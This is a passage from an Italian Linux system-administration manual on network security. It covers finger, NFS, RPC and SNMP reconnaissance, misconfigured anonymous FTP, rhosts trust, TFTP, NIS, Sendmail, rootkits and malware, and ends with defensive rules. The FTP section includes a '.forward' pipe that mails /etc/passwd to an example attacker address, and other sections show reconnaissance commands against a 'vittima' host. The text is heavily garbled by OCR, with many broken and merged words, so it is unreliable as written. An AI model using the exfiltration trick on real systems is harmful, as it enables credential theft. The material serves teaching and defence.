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43.1 Introduzione ai problemi di sicurezza con la
rete

Quando un sistema é collegato a una rete pubblica per la oraggi
parte del tempo, € soggetto ad aggressioni di ogni tipo. @imia
nistra sistemi del genere ha il suo bel da fare a cercare dédinp
re 'accesso da parte di estranei non autorizzati, anchpessg si
ignora candidamente il problema.

Il problema della sicurezza dei sistemi in rete non ha una-sol
zione definitiva, ma solo delle regole indicative. Alle w# suffi-
ciente ignorare una carenza della versione particolare dewizio
che funziona presso un elaboratore, per lasciare una bajelda a
disposizione di qualcuno che ne conosce il trucco.

43.1.1 Problemi legali

Nel momento in cui si piazza in rete un proprio elaboratoea; r
dendolo accessibile al pubblico, si assumono delle resilita.
In particolare, a proposito del problema della sicurezita,sistemi
potrebbero risultare danneggiati da un attacco condott@eocesso
ai danni del proprio. Quindi, la cosa non puo essere ignpaatzhe
quando per se stessi potrebbe non essere importante.

Quando un sistema viene attaccato e I'aggressore riesceioéh-
tento, non si puo dire a cosa gli puo servire, ma si possono im-
maginare quante cose terribili potrebbero essere ottenotene di
quell’elaboratore e quindi del suo amministratore. Giuwstiolo di
esempio, si puo considerare che questo potrebbe servineisad
messaggi non desiderabiBfan); a ottenere accesso alle informa-
zioni contenute nell’elaboratore; a modificarle per qual@he; ad
annusare la rete circostante alla ricerca di informazitihiad acce-
dere agli elaboratori che si trovano in prossimita di quglibocom-
promesso; oppure, piu in generale, a coprire altre azioattdcco
verso sistemi estranei, usando il primo come copertura.

Con questo scenario, si comprende che la cosa piu grave dha de
da un sistema compromesso ¢ il rischio per il suo amminiseati
essere coinvolto nell'attivita illegale di qualcun altRertanto, quan-
do ci si dovesse accorgere di questo, se possibile, sargipozto-
no staccare fisicamente tale elaboratore dalla rete, aeviealtre
persone coinvolte nel’lamministrazione degli elaboriadelia stessa
rete locale (o che comunque hanno una qualche relazioneusdn q
lo compromesso), tenere traccia in un registro fisico detbauto e
delle misure prese come conseguenza.

La necessita di annotare I'accaduto e le operazioni compietiva
dalla possibilita di essere coinvolti in un procedimentadigiario da
parte di chi dovesse essere stato danneggiato dall’attiviquesto
ignoto.

Nello stesso modo in cui si pud essere accusati ingiustandeatti-
vita criminali compiute da altri, si rischia di accusare ldgmocenti
quando si cerca di determinare 'origine di un attacco. Edrtan-

te tenere conto che se il sistema & stato compromesso, afiehe i
le delle registrazioni possono esserlo, comungue, l'ett@otrebbe
essere giunto attraverso un sistema gia compromesso iedeneza,
allinsaputa del suo amministratore.
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43.1.2 Informazioni: la prima debolezza
«

| servizi offerti da un sistema connesso in rete offronoediefforma-
zioni necessarie a compiere tali servizi. Queste infororazono la
base di partenza di qualunque possibile attacco. Per cowfgre
I'importanza di cio, occorre tentare di ragionare nellesstemodo
dell'ipotetico aggressore.

La conseguenza normale della presa di coscienza di quéstddh

problema ¢ la tendenza alla riduzione dei servizi, in modoitare
le notizie disponibili all'esterno.

Gli esempi che vengono mostrati, possono essere usatuti@ng
mente contro macchine di cui si ha 'amministrazione (e duia
responsabilitd). Se pero si tenta di scoprire le debolezgeal-
che altro sistema, anche se si crede di agire in buona fedstau
comportamento pu0 essere individuato e considerato uattemt
di attacco reale.

43.1.2.1 Finger

«
Il protocollo Finger € la fonte primaria di informazioni pehi vuo-
le tentare un attacco a un sistema, per cui va valutata laljldas
di escludere tale servizio dalla rete (il demohenger d’). Finger
permette di conoscere chi € connesso al sistema e cosaetadac

bruto@ranpus: ~$ finger @ittinma. brot.dg/[Invio]
[vittima. brot.dg]
Wel cone to Linux version 2.0.35 at vittima. brot.dg !

12: 07pm up 4:22, 1 users, |oad average: 0.00, 0.00, 0.00

Logi n Name Tty Ofice Ofice Phone

dani el e *6

Idle Login Tinme
4:21 Sep 30 07:45
Gia questo permette di sapere il tipo di kernel utilizzate imforma-
zioni uptime(evidentemente I'elaboratore della vittima ha avviato il
demonefingerd’ con I'opzione‘- w). Inoltre, in questo caso ap-
pare un solo utente connesso che sta svolgendo un lavororcon u
programma da ben 4 ore e 21 minuti, senza osservare il sisStema
alcun modo.

L'informazione sull'utilizzo del sistema e importante geggres-
sore, il quale puo determinare quando agire in modo da na@reess
scoperto.

L’aggressore potrebbe poi tentare un’interrogazionéelefico de-

gli utenti, utilizzando I'esperienza delle consuetudiomni. Cosi
facendo potrebbe scoprire un utente di sistema mal confiyyvar
esempionobody’, oppure un utente di prova lasciato li, 0o comunque
un’utenza inutilizzata per qualche motivo.

brut o@ranpus: ~$ finger root@ittina.brot.dg][Invio]

root
/ bi n/ bash

Logi n: root Nane:

Directory: /root Shel | :

Last login Thu Sep 30 8:34 (CEST) on ttypl
fromdinkel . brot.dg. 1. 168. 192. i n-addr. ar pa

Tanto per cominciare, in questo esempio si vede che I'uteois ’
puo accedere da un elaboratore della rete locale, ricondsoe cosi
la presenza e il nometinkel.brot.dg

brut o@ranpus: ~$ finger nobody@ittinma. brot.dg[Invio]
Logi n: nobody

Directory: /tnp
Never |ogged in.

Name: Nobody
Shel I : /bin/sh

In questo caso, si nota che l'utent@body’ € stato configurato ma-

le. infatti, la directory personale di questo utente diesisd, dal mo-
mento che esiste una shell presumibilmente valida, non psére

‘/ tmp/’. Chiunque possa avere accesso a tale directory, cioé ogr
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utente, potrebbe inserirvi dei file di configurazione allogsz di abi-
litare una connessione esterna senza la richiesta di uakmbordi-
ne (viene descritto piu avanti I'uso possibile di file comehost s’

e‘. shosts’).
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brut o@ranpus: ~$ finger pippo@ittina.brot.dg][Invio]

Logi n: pi ppo Name: (null)
Directory: /hone/ pi ppo Shel I : /bin/bash
Last login Thu Jan 1 10:18 (CET) on tty2

La scoperta di un utente che non accede da molto tempo, perme

te allaggressore di concentrare la sua attenzione su tefea per
tentare di impadronirsene. Di solito si tratta di utentiatresolo
per fare qualche provapi ppo’, ‘prova’, ‘guest’, ‘backdoor’,

ecc.), lasciati li e dimenticati. Niente di meglio quindpynsiderato
che spesso questi hanno delle parole d'ordine banali eichdibili

facilmente.

43.1.2.2 NFS

La condivisione del file system attraverso il protocollo NFS

pud essere verificata facilmente attraverso un comando comi

‘shownount’. La conoscenza delle porzioni condivise del fi-
le system aggiunge un tassello in piu alle informazioni ché p
raccogliere l'ipotetico aggressore.

brut o@r anpus: ~$ /usr/ shi n/ showmount -e vittina. brot. dg [Invio]

Export list for vittina. brot.dg:

/ *. brot.dg, . mehl .dg, *.plip.dg
/tftpboot *.brot.dg,*.nmehl.dg, *.plip.dg
/ hone *. brot.dg, . mehl .dg, . plip.dg
/ mt *.brot.dg, . mehl.dg, *.plip.dg
/ opt *.brot.dg, . mehl .dg, . plip.dg
/usr *. brot.dg, . mehl.dg, . plip.dg

Per quanto riguarda questo servizio, 'amministratongtdima. brot.
dg e stato abbastanza accurato, tranne per il fatto di avergesen
so I'esportazione della directory radice per intero. ltdadi avere
limitato I'accessibilita a domini determinati (presuntibénte com-
ponenti la rete locale su cui € inserito tale elaboratore)éona ga-
ranzia sufficiente. Chi dovesse riuscire a ottenere un 80q@®sso
una macchina di questa rete, potrebbe sfruttare I'occasion

E importante ribadire la pericolosita dell'esportazionema di-
rectory radice. Se un ipotetico aggressore dovesse camosne
difetto del servente NFS che gli potesse permettere di acegd
anche se formalmente non ne risulta autorizzato, il danrebba
enorme.

Si osservi I'esportazione della directoryhome/ *; di sicuro viene
concessa anche la scrittura. Se l'ipotetico aggressose fosgrado
di innestare questa directory nel suo sistema, gli saredtite fin-
serire file di configurazione comer hosts’ (‘rsh’) e ‘. shosts’

(‘ssh’), per autorizzarsi I'accesso in qualita di quell’'utentadfze
senza Il'utilizzo di alcuna parola d’ordine).

Da quanto affermato, € importante osservare che sarebbléomeg
esportare directory in lettura e scrittura solo a nodi tiigmlicati
in modo preciso, evitando di consentire I'accesso in questdo
a tutta una rete o sottorete. In tutti gli altri casi, dove Siloise,
sarebbe meglio esportare solo in lettura.

43.1.2.3 Servizi RPC

Un'altra fonte di informazioni molto importante € data dains-
zi RPC, attraverso il Portmapper. Basta usagei nf o’ per sape-
re quali servizi RPC sono offerti da un certo servente. Sens$s
I'esempio seguente:

brut o@ranpus: ~$ rpcinfo -p vittima. brot.dg[Invio]
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programvers proto  port

100000 2 tcp 111 rpchind
100000 2 udp 111 rpchind
100005 1 udp 635 rnountd
100005 2 udp 635 nountd
100005 1 tcp 635 nountd
100005 2 tep 635 nountd
100003 2 udp 2049 nfs
100003 2 tcp 2049 nfs

In questo caso non c’e molto da sfruttare. In pratica e didgilerso-
loil servizio NFS. Per9, in altre situazioni si puo scopta@resenza
di NIS (YP) o di altri servizi piu insidiosi.

43.1.2.4 SNMP

«
Il protocollo SNMP Simple network management protgazzpitolo
36.11) ha lo scopo di consentire il controllo di apparecchiatag-r
giungibili attraverso la rete, fornendo un modo per pulabkcdelle
informazioni che in parte possono anche essere rese mdilifica
Molte apparecchiature che si collegano alla rete offronstguser-
vizio, comportandosi come «agenti SNMP». Il problema stdatt
che, di norma, I'accesso al servizio avviene attraversmiaunita
predefinita publ i ¢’, ma, peggio ancora, le informazioni pubblicate
potrebbero contenere i dati necessari ad accedere per caodéila
configurazione (di solito attraverso un servente HTTP iratie).

Pertanto, ogni volta che si inserisce un componente di oetarre
sospettare la presenza del servizio SNMP, anche se quessterven
per i propri scopi, provvedendo eventualmente a cambiatreriie
della comunita per I'accesso senza autenticazione.

43.1.2.5 Indirizzo fisico

«
Ci sono situazioni in cui il proprio traffico di rete contiehimfor-
mazione dell'indirizzo fisico dell'interfaccia di rete litzata. Que-
sto indirizzo fisico € composto normalmente da sei otteér, yn
totale di 48 bit. Generalmente questo indirizzo fisico & oody nel
senso che non possono esistere due interfacce di rete ctestms
numero, ma cio consentirebbe di tracciare la posizione dierto
elaboratore, ovvero della persona che lo utilizza.

Se per qualche motivo € necessario celare questa infornezio
cambiarla comunque per altri fini, con i sistemi GNU/Linux@sp
sibile intervenire attraverso f confi g’, nel modo seguente, dove
si presume di dover modificare I'indirizzo della prima iffiéecia di
rete Ethernet:

# ifconfig ethO down hw ether 00:00: 00: 00: 00: 01 [Invio]
# ifconfig ethO up[Invio]

Logicamente, solo dopo questo cambiamento e possibiielate
indirizzi di rete all'interfaccia.

C’é comunque un’osservazione da fare: nella stessa reta fisin
ci possono essere in funzione due interfacce che si preseota lo
stesso indirizzo fisico, perché altrimenti si creerebbe londo del
funzionamento della rete stessa.

43.1.3 Errori comuni di configurazione

«
Gli errori di configurazione dei servizi sono il metodo pitnoane at-
traverso cui si consente I'aggressione del proprio sistémguesto
caso, non ci sono sistemi sicuri che tengano, a meno chevigzier
stesso sia stato predisposto per impedire delle «casieoner

43.1.3.1 FTP anonimo

«
Il servizio FTP anonimo si basa sulla definizione di un utefite
sistema;ft p’, e della relativa directory personakeofng, ‘~f t p/ .
L'utente che accede in modo normale vede un file system adott
dove la radice corrisponde alla directorf t p/ .

All'interno di questo piccolo mondo ci sono solitamente geo-
grammi di servizio, delle librerie e dei file di configurazerra cui
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in particolare anche il file-f t p/ et ¢/ passwd’. Questo filenon de-
ve essere la copia di et ¢/ passwd’, altrimenti si rischierebbe di
mettere in condizione I'utente anonimo di leggere le padedine
cifrate: un aggressore sarebbe in grado di scoprire le garoldi-
ne reali degli utenti. A dire il vero, questa directorf t p/ etc/’
dovrebbe impedire la lettura del suo contenuto (Q) Iha cio ser-
ve solo a non fare conoscere quali file sono contenuti, meuttie
sanno che ci dovrebbe essere il fitét p/ et ¢/ passwd’.

Inoltre, il fatto di lasciare il permesso di scrittura all&@edtory

‘~f t p/ ' puo essere altrettanto insidioso. Un utente anonimo potreb
be mettere li unfilé. f or war d’ creato appositamente per i suoi sco-
pi. Nell'esempio seguente si spiega, sul piano teoricohemodo

un aggressore potrebbe riuscire a farsi spedire via postizaglica

il contenuto del file/ et ¢/ passwd’ reale del sistem&.

1. L’aggressore potrebbe creare un file pdoilvard (il prosegui-
mento dei messaggi) contenente un comando, cosa conskntita
Sendmail. In pratica, si potrebbe trattare del contenujaesete:

\ "|/bin/mai | bruto@ranpus. nehl.dg < /etc/passwd”
Come si vede, si tratta di un condotto con cui si avviai |’
per inviare il file‘'/ et ¢/ passwd’ all'indirizzo bruto@krampus.
mehl.dg

2. Questo file dovrebbe essere inviato nella directory paic
le del servizio FTP della vittima, nominandolof orward’,
nellipotesi che quella directory risulti scrivibile.

3. Da quel momento, e sufficiente inviare un messaggio diapost
elettronica qualunque all'indirizzdtp@vittima.brot.dgperché
bruto@krampus.mehl.diceva quel file delle parole d’ordine.

In questo caso, € molto probabile che per I'aggressore ropasi
tanto facile cancellare le tracce lasciate (cosa senzaialyid
sitiva). Tuttavia questa € la dimostrazione di cosa puo fara
configurazione errata di tale servizio.

43.1.3.2 Accesso remoto

Il servizio offerto dai demonir | ogi nd’ e ‘rshd’ & pericoloso per
la sua sola presenza, in quanto un aggressore potreblbezardi
un difetto in un altro servizio per configurare con successpro-
prio accesso utilizzando un utente gia esistente. Oltreeatquuna
configurazione errata potrebbe consentire un accessaiimdisato.

La configurazione avviene attraverso due file possibilet c/
hosts. equiv' e ‘~/.rhosts’ (il secondo deve risiedere nella
directory personale degli utenti che ne vogliono usufjuire

Finché in questi file appaiono solo nomi di nodi a cui vienecemso

di accedere, i pericoli sono limitati (si fa per dire): ogtente accede
al serventesenza I'indicazione della parola d’ording ma & almeno
costretto a utilizzare lo stesso nominativo-utente. Sé peaggiun-

gono anche i nomi di utenti che possono accedere dall'estem
questo viene fatto nel filg et c/ host s. equi v’, si concede loro di
assumere la personalita di qualunque altro utente di getdrsa,

eccetto (normalmente) I'utenteoot *.

[ dinkel . brot.dg
| roggen. brot. dg
di nkel . brot.dg tizio
di nkel . brot.dg caio
Se quello che si vede € il contenuto del filet ¢/ host s. equi v’,
gli utenti ‘tizio’ e ‘caio del cliente dinkel.brot.dgpossono
accedere come gli pare.

tizi o@inkel:~$ rsh -1 pippo vittim. brot.dg ..[Invio]

L’esempio mostra l'utentetizi o’ che accede all’elaboratore
vittima.brot.dg utilizzando i il nominativo-utentépi ppo’, senza
dover indicare alcuna parola d’ordine.

Questi file non prevedono I'indicazione di commenti. Se ®iatiliz-
zato il simbolo'#', pud sembrare che questo funzioni regolarmente

1909

come un commento, pero, se a un aggressore fosse possitule in
durre nel sistema DNS un nodo denominato proprio «#», fazend
modo che corrisponda a un suo indirizzo IP di comodo, eccgubk
commento servirebbe solo ad aggiungere un nuovo accesga sen
parola d’ordine.
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43.1.4 Servizi e programmi pericolosi per loro natura

«
Alcuni servizi e alcuni programmi sono pericolosi per loedura. Se
devono essere utilizzati & necessario che cio avvenga sthinadi
una rete locale ben protetta dalla rete esterna.

43.1.4.1 Trivial FTP

«
Il protocollo TFTP viene usato tipicamente per conseniigstemi
senza discodjskles} di avviarsi. Per questo, normalmente, viene
permesso I'accesso alla directory t pboot / ' nel servente (di so-
lito si tratta precisamente divar/1i b/ tftpboot/’), allinterno
della quale si articolano i dati che servono a ogni clientd’gevio.

L’organizzazione del sistema di avvio attraverso il prolecTFTP
deve essere accurata, in modo da non pubblicare dati charmoss
prestarsi per un uso improprio. Va prestata attenzionecpéate

al percorso che risulta essere pubblicato dal servente T&Ié!-

lo che segue € un estratto del fikeet ¢/ i netd. conf’ con una
configurazione gravemente errata.

tftp dgram udp wait root /usr/sbin/in.tftpd /usr/sbin/in.tftpd /

In questo caso, il demorién. t ft pd’ pubblica il contenuto com-
plessivo del file system, partendo dalla radice, con i muiildel-
I'utente‘r oot . In tal modo, diventa accessibile qualunque file, per
quanto riservato o protetto sia.

Evidentemente, la configurazione del servizio TFTP deveredale
da consentire un accesso limitato a un ramo ben contralaimime
nell’'esempio seguente:

tftp dgramudp vait root /usr/sbin/in.tftpd /usr/sbin/in. tftpd -s /var/lib/tftpboot

In questo caso, con l'opzione appropriata, si fa in modo che
il demone‘in.tftpd consenta I'accesso al solo rambvar/
l'ib/tftpboot/’, eseguendo anche una funzioderoot(), cosa
che rende completamente inaccessibile qualunque altte pat

file system.

43.1.4.2 NIS

«
La presenza di un servizio NIS viene scoperta facilmenteat-
so un’interrogazione RPC, con il comand@ci nfo -p’. L'unica
«difesa» che ha il servizio NIS & quella di utilizzare un doimi
NIS non intuibile; diversamente, chiunque ne sia a conasceno
utilizzare il servizio.

Generalmente, il NIS utilizzato con i sistemi GNU, include i
TCP wrapper, riconoscendo cosi i fileetc/ hosts. allow e

‘/ etc/ hosts. deny’, cosa che dovrebbe limitare tale problema di
accessibilita. Tuttavia, non bisogna dimenticare cheicpérsi cor-
rono anche all'interno della propria rete locale, quellalaguale si
concede normalmente I'utilizzo del servizio.

A parte queste considerazioni, il tipo di NIS che si utilizzer-
malmente fa viaggiare nella rete tutte le informazioni chremani-
stra, comprese le parole d’ordine cifrate degli utenti. ggrassore
che avesse modo di analizzare la rete su cui viaggiano cuegsti
potrebbe trarne vantaggio.

Un’altra cosa da considerare € che le informazioni amnmatisdal
NIS vengono collocate nella directorvar / yp/ dominio_nis ’. Se
un aggressore dovesse riuscire a leggere tali directomghiee im-
mediatamente a conoscenza del nome del dominio NIS; poi, ana
lizzando il contenuto dei vari file, potrebbe estrarre tigtenfor-
mazioni che gli servono sugli utenti. Quello che si vuolerizspre
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con questo & che non deve sfuggire I'esportazione dellatdine
‘/ var /' attraverso il servizio NFS, perché sarebbe come esportare
la directory'/ et ¢/’ stessa.
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43.1.4.3 X

Il sistema grafico X & in grado di connettere i dispositivi cloen-

pongono la stazione grafica (tastiera, mouse e schermayextto
la rete. Questo si traduce nella possibilita per gli utenawviare
un programma in un elaboratore diverso dal proprio e di gestl

funzionamento attraverso il proprio schermo grafico. Evidmen-
te, questo significa che vengono fatte viaggiare attravarsete in-
formazioni potenzialmente delicate, esattamente come s&asse
una shell remota non cifrata.

In generale, sarebbe utile impedire qualunque interaztomali
elaboratori per cid che riguarda X. Inoltre, bisognerebletavne
I'utilizzo incontrollato, impedendo il transito di quespootocollo
attraverso i routet.

43.1.4.4 Sendmail

Sendmail € considerato generalmente un servente SMT Pefidayil
punto di vista della sicurezza. Sendmail € stato progettagi-
nalmente con una filosofia di massima prestazione e confidjurab
ta, trascurando aspetti della sicurezza che si sono pegsean il
tempo.

Uno dei maggiori problemi di Sendmail e legato alla postébil

di avere un destinatario rappresentato da un file o da un ¢ondo
to. Questo puo essere utile nel fileet ¢/ al i ases’ o nel file*~/
.forward’ di ogni utente, per creare un archivio di messaggi, per
gestire una lista di posta elettronica, o per filtrare i mggsattra-
verso programmi specifici. Ma cosi il fite/ . f or war d’ potrebbe
essere sfruttato da parte di un aggressore che sia in gradeadio

o di accedervi in scrittura nella directory di un utente:iamdo un
messaggio all'indirizzo di quell’'utente potrebbe ottentavvio di

un comando definito in un condotto.

In passato, si sono evidenziate diverse tecniche cheasfauib que-
sto meccanismo, magari semplicemente mettendo dei cona&ndi
posto dei destinatari dei messaggi. Attualmente queshi@nai sono
conosciuti e le versioni piu recenti di Sendmail non dovesbtzon-
sentire piu questi trucchi, ma in generale Sendmail é dieabile
come un programma potenzialmente pericoloso.

A quanto affermato si aggiunga I'estrema difficolta nella sonfi-
gurazione, cosa che costringe generalmente a mantenecbeié
stato definito da altri. Un errore in questa configurazionépfda
chiungue, potrebbe permette a qualcuno di sfruttare Seihgera
scopi indesiderabili, al limite solo per la diffusionesgiam

43.1.5 Fiducia e interdipendenza tra i sistemi

Lo studio sui problemi di sicurezza riferiti a un nodo paotare,
non puo limitarsi all’'ambito di quell’elaboratore; deveindere an-
che I'ambiente circostante, ovvero gli altri elaborataai duali puo
dipendere per determinati servizi, oppure dai quali pucctar
accessi senza autenticazione.

L’aggressione a uno di questi sistemi pregiudica conseguemte
tutti quelli che ne dipendono.

43.1.5.1 Fiducia incondizionata

Si puo parlare di «fiducia incondizionata» quando si concadie
altri elaboratori I'accesso, o I'utilizzo di determinagrsizi, senza
alcuna forma di controllo che non sia la pura determinazidele
nome di questi (il nome a dominio) o del numero IP, mentre in
condizioni normali sarebbe necessaria almeno l'indicezidi una
parola d’ordine.

Il caso limite di fiducia incondizionata € dato dalla confagione
dei servizi di accesso remoto tramité ogi n’ 0‘r sh’, in modo tale
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da non richiedere alcuna parola d’ordine. Nello stesso nvadadsto
il servizio NFS e la concentrazione amministrativa del NIS.

Quando la fiducia si basa sul semplice riconoscimento dekraeh
cliente, il punto debole di questo rapporto sta nella gastitei ser-
vizi che si occupano di risolvere questi nomi in indirizzi [PNS o
NIS. L'aggressore che dovesse essere in grado di prendenetibl-
lo dei sistemi che si occupano di questi servizi, avrebbeksipi-
lita di modificarli per i suoi scopi. La cosa diventa ancona giave
guando la gestione di questi servizi (DNS) e esterna allianib
controllato dall'amministratore che utilizza tale sistedi fiducia.

Eventualmente, i rapporti di fiducia possono essere basatipsto
che sui nomi, sugli indirizzi IP. Cio servirebbe a ridurresichi, ma
non a sufficienza: se il transito (uting) non & completamente sot-
to controllo, qualcuno potrebbe dirottare gli instradathamproprio
vantaggio.
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43.1.5.2 Chiavi di identificazione

«
Per ridurre i rischi dovuti all’'uso della fiducia incondiniata, si pos-
sono proteggere alcuni servizi attraverso chiavi di ricmimento
(come nel caso dei protocolli SSL/TLS e SSH), con cui il setee
puo identificare il cliente, mentre lo stesso cliente pudficare che
il servente sia effettivamente la macchina che si intendéattare.

Il meccanismo si basa sulla definizione di una coppia di ¢hiav
chiave privatae lachiave pubblical’elaboratore «A» crea una cop-
pia di chiavi che vengono usate in seguito per certificaredana
identita: la chiave privata non viene divulgata e serve peegare di
volta in volta la prova della propria identita, la chiave plita viene
fornita a tutti gli altri elaboratori che hanno la necessitserificare
l'identita di «A». Quando due elaboratori vogliono poteadgntifi-
care a vicenda, entrambi devono essersi scambiati la cpidgica
rispettiva (seziond4.1).

43.1.5.3 Cifratura delle comunicazioni

«
Quando esiste un reticolo di fiducia reciproca tra diversiipanche
se questi possono avere un sistema sicuro di identificaziese il
problema del transito dei dati lungo la rete, i quali poteiobes-
sere intercettati da un aggressore. Infatti, non bisogasttrare la
possibilita che qualcuno riesca a introdursi fisicamenlia nete lo-
cale (anche se apparentemente sicura), introducendo coi@ela-
boratore, nascosto opportunamente, con lo scopo di regsintte
le transazioni, da cui trarre poi informazioni importarguéli per
esempio le parole d’'ordine utilizzate per I'accesso remoto

A questo si puo porre rimedio solo con un buon sistema ditaira
ra, come avviene attraverso il protocollo SSH. Tuttaviprdblema
rimane per tutti quei servizi per i quali non & prevista talegbilita.

43.1.6 Backdoor: cosa ci si pud attendere da un sistema
compromesso

«
Le porte posteriori, o le botole, backdoor sono delle anomalie
«naturali», o create ad arte, per permettere a qualcunaéddace o
utilizzare servizi in modo riservato. In pratica, € I'ecaliente di un
passaggio segreto, sconosciuto al proprietario del tash¢traverso
il quale altri possono entrare quando vogliono senza essdadi.

Un aggressore che sia riuscito ad accedere in qualche modo a u
sistema, potrebbe prendersi la briga di consolidare lazjprs
raggiunta ritoccando la configurazione o sostituendo ggei-

li di alcuni servizi, allo scopo di garantirsi un accesswitggiato,
possibilmente invisibile attraverso i mezzi normali.

Attraverso Internet € possibile procurarsi pacchetti adigpammi
modificati ad arte per ottenere tali scopi, noti normalmerue il
nome rootkit. Quindi, il problema & piu serio di quanto si possa
immaginare a prima vista.



«

1912
43.1.7 Regole dettate dal buon senso
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La soluzione assoluta che garantisca la sicurezza deirgisten-
nessi in rete non esiste. Tuttavia si possono tenere a mizoteea
regole elementari, dettate dal buon senso. L'elenco diesimgenti
che appare di seguito & ispirato in modo particolarénagroving
the Security of your site by breaking intadit Dan Farmer e Wietse
Venema.

« Le reti locali vanno organizzate almeno a due livelli, &alo la
porzione esposta all'esterno (DMZ) da quella interna.

* Sarebbe bene escludere il servizio Finger. Se cid non fosse
sibile, sarebbe almeno il caso di utilizzarne una versiome m
dificata che non fornisca informazioni troppo delicate cdme
directory personale e I'origine dell’ultimo accesso.

» Non va usato il NIS, a meno che cid sia necessario.

» Se viene attivato il servizio NFS, non devono essere esfgort
directory in modo incondizionato a qualunque nodo (atteal®,
i serventi NFS nei sistemi GNU/Linux non lo consentono iniogn
caso). Inoltre, € bene cercare almeno di limitare I'espote
alla sola lettura.

Non si deve esportare assolutamente la directory radice.

« Evitare di fornire servizi attraverso programmi ben canais per
i loro problemi di sicurezza. Sendmail € un esempio tipicardi
tale programma cosi pericoloso.

» Occorre porre un’attenzione particolare alla protezidaeser-
venti che offrono servizi delicaticome DNS, NFS, NIS e ala
queste macchine sarebbe opportuno fossero ammessi ageecced
solo utenti che hanno un ruolo amministrativo.

 E necessario esaminare attentamente i servizi offeréssp
in modo predefinito, attraverso I'analisi del fileet ¢/ i net d.
conf’, I'interrogazione delle RPC (il Portmapper) e I'elenco dei
processi (in quanto alcuni servizi potrebbero essere @mdipnti
sia dal supervisore dei servizi di rete che dal sistema EHE).

E importante che siano attivi solo i servizi necessari.

* Quando possibile & opportuno utilizzare I'avvio dei seinat-
traverso il controllo del supervisore dei servizi di rete @ d
TCP wrapper. Eventualmente puo essere utile il monitorarrie
chieste di servizi non forniti, attraverso I'ausilio del P@rapper
(questo particolare viene chiarito nella sezidi3es).

« Ridurre o eliminare del tutto la «fiducia» basata esclusgmate
sul nome del cliente.

« Utilizzare parole d’ordine oscurate e un comanplasswd’ che
non consenta l'utilizzo di parole d’ordine troppo semplige-

neralmente & gia cosi nella maggior parte delle distrimizio
GNU/Linux).

« Fare a meno di gestire gruppi di lavoro abbinati a paroledife:
una parola d’ordine di gruppo €& un segreto senza valore.

« Disabilitare gli utenti di sistema‘lfi n’, ‘daenon’, ecc.); di-
sabilitare o eliminare gli utenti comuni che non abbiano uti
lizzato il sistema da tanto tempo (una gestione correttée del
parole d’'ordine oscurate pud automatizzare questo mesoani

* Leggere la documentazione disponibile riferita al protdedella
sicurezza e tenersi aggiornati il pitl possibile, ancheviendosi
ai gruppi di discussione che trattano I'argomento.

* Installare gli aggiornamenti riferiti alla sicurezza ilippresto
possibile.

» Scandire regolarmente il file system alla ricerca di altiena nei
file. Per questo si utilizzano programmi come AIDE.
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Figura 43.11. Separazione tra la rete interna da proteggkre
zona demilitarizzata (DMZ).
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43.2 Virus, vermi e cavalli di Troia

«
Nello studio dei problemi di sicurezza legati all'uso distrenti in-
formatici, non vanno trascurati i virus e il software modifizc ad
arte per arrecare qualche tipo di danno. Di per sé, non & o
portante classificare il software nocivo, se non per il fatte questo
permette di avere una visione un po’ piu chiara del problédmge-
nerale si distinguono due tipi fondamentaliiius e i cavalli di Tro-
ia. Eventualmente si considerano ancheiimi, come sottogruppo
particolare dei virus.

Il virus & un pezzo di codice in grado di riprodursi nel sisterat-
taccandosi ai programmi gia esistenti, agli script, sostitiosi al
settore di avvio di un disco o di una partizione, inserena@disn-

terno di file di dati che prevedono la presenza di macroiginiz
Naturalmente, un virus non & necessariamente in gradoedtdéo
questo simultaneamente: dipende da chi lo realizza il modmi
puo riuscire a riprodursi.

Un cavallo di Troia, o troiandipjan), € un programma che di per sé
svolgerebbe una funzione piu o meno utile, nascondendop&o
parte di codice indesiderabile. Il classico cavallo di &réiun gio-
co, che mentre viene utilizzato fa anche qualcosa di divasme
cancellare dei file, oppure spedire all'esterno informaizsalla con-
figurazione del proprio sistema. Un cavallo di Troia potekbsere
anche un programma normale che sia stato infettato ad amterco
virus, allo scopo di diffondere il virus stesso.

Il verme € un sottoinsieme specifico dei virus, il cui inteptmci-

pale & quello di diffondersi attraverso la rete. Generatmesnche
se non sempre, il verme si cancella una volta che é riuscibpiarsi

all’esterno.

Si comprende facilmente il senso di un cavallo di Troia. Ceema-

pre vale la solita raccomandazione: «non accettare nukramelle

0 qualunque altra cosa -- dagli estranei». Infatti, unarnata puo
essere avvelenata, un oggetto appuntito potrebbe esatrnsetta-

to con qualche sostanZaosi come un programma puo essere stato
alterato ad arte. Purtroppo, spesso non ci sono alternaftavexfi-
ducia», soprattutto quando il programma in questione esaduiée
solo in forma di eseguibile senza sorgente.

Ad aggravare il problema, le normative di vari paesi vietaspres-
samente la decompilazione, cioé lo studio dei programmiré-pa
re dalla loro forma eseguibile, cosa che rende difficile uaidfica

a seguito dell'insorgere di un qualche sospetto. L'unicasfmlita
per salvaguardarsi di fronte a questo problema e l'uso dinam-
mi provvisti di sorgente, verificati e compilati personafrtes* Evi-
dentemente non si tratta di una soluzione accessibileiadiattper
le capacita necessarie, sia per il tempo che cio richiederdppo,
pero, resta I'unica, se si vuole escludere la fiducia.

La fiducia, ammesso che ci sia, non basta, perché occorficaeri
re che il tale programma non sia stato manomesso da una persor
differente da quella di cui ci si fida. Infatti, un programnm@male
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potrebbe diventare un cavallo di Troia contenente un voe®mun-
que contenere qualcosa di aggiunto per qualche fine. Questa v
ca puo essere fatta attraverso I'uso di una firma digitalegda a
questo proposito la seziodd.1).

Una volta compreso il pericolo legato ai programmi, si pugdere

di avere risolto il problema se si evita di installarne di wudut-
tavia, un «programma» puo essere inserito anche all'iatdiriile

di dati, nel momento in cui questo puo diventare uno scripho u
insieme di macroistruzioni di qualche tipo.

E nota I'esistenza di virus «macro», costituiti da macraigbni
contenute in documenti di programmi di scrittura o in fodéteo-
nici. Nello stesso modo non e da escludere la possibilitagliigire
un documento TeX o anche PostScript e PDF, contenenteitstruz
ni che possono arrecare dei danni nel momento della coniposijz
della visualizzazione o della stampa.

Sotto questo aspetto, i problemi maggiori si avvertono doapro-
grammi di questo tipo possono essere inseriti in documectti ai
accede attraverso la rete. Per esempio, una pagina HTMLbpotre
be incorporare o richiamare un programma JavaStrippeggio
un’applicazione Java o SWF (Flash). In questa situazioole, is
programma di navigazione pud impedire che venga fatto qealdi
dannoso, ammesso che possa essere in grado di farlo. Geeeral
te, l'unica alternativa & impedire I'esecuzione di scripregrammi
esterni, accettando tutte le conseguenze che cio complattache

in questo modo diventa impossibile accedere ad alcunizervi
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Un'ultima considerazione va fatta nei confronti dei pragnai alle-

